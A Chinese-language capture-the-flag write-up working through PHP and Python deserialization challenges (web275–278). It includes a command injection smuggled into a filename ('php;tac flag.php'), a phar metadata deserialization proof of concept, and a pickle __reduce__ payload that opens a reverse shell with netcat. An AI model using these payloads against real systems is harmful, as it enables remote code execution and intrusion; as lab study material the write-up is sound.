use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

然后get传?lin=cat /f*&data=POC得到的base64串

web275

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: [email protected]
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

传GET fn当文件名,POST传参当文件内容,然后名字匹配到php和.或者内容有flag,在销毁的时候就会执行system('rm '+filename)

第一想法是通过竞争,但是群主现在限制1s5次,搞得我竞争题都没做,就放弃了。然后看wp

答案是,system()处执行命令,用分号隔开,然后要使第一个匹配到为真即可

?fn=php;tac flag.php

这里注意平台上题目顺序是277再276

*web276


highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

where is flag?

注意到

public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}

要使admin值为真,才能调用system。但是这里没有对admin的操作,并且没有反序列化的点。

这里只能用竞争,因为copy和unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);有时间间隙能让我们竞争

参考其他师傅的wp

可以通过 file_put_contents 写 phar 文件。因为题目中 file_put_contents的第一个参数可控,可以使用 phar:// 协议通过 content 传入 phar data,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化

除此以外,还有一些函数在解析数据时会将meta-data部分进行反序列化

image-20220113155818883

POC如下

<?php
class filter
{
public $filename = ';cat f*';
public $evilfile = true;
public $admin = true;
}

$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

会在当前目录生成evai.phar文件,然后写个竞争脚本访问即可,现在限制了1s5次,我就不做了

web277

where is flag?<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

pickle.loads():从字节对象中读取被封装的对象

这里看注释是很明显的python,说明这里涉及到python的反序列化

利用反弹shell

import pickle
import base64
class A(object):
def __reduce__(self):
return(eval,('__import__("os").popen("nc ip 4567 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))

监听即可

web278

过滤了os.system

用popen啊,哦之前用的就是popen,那没事了

至此,整个反序列化部分到此结束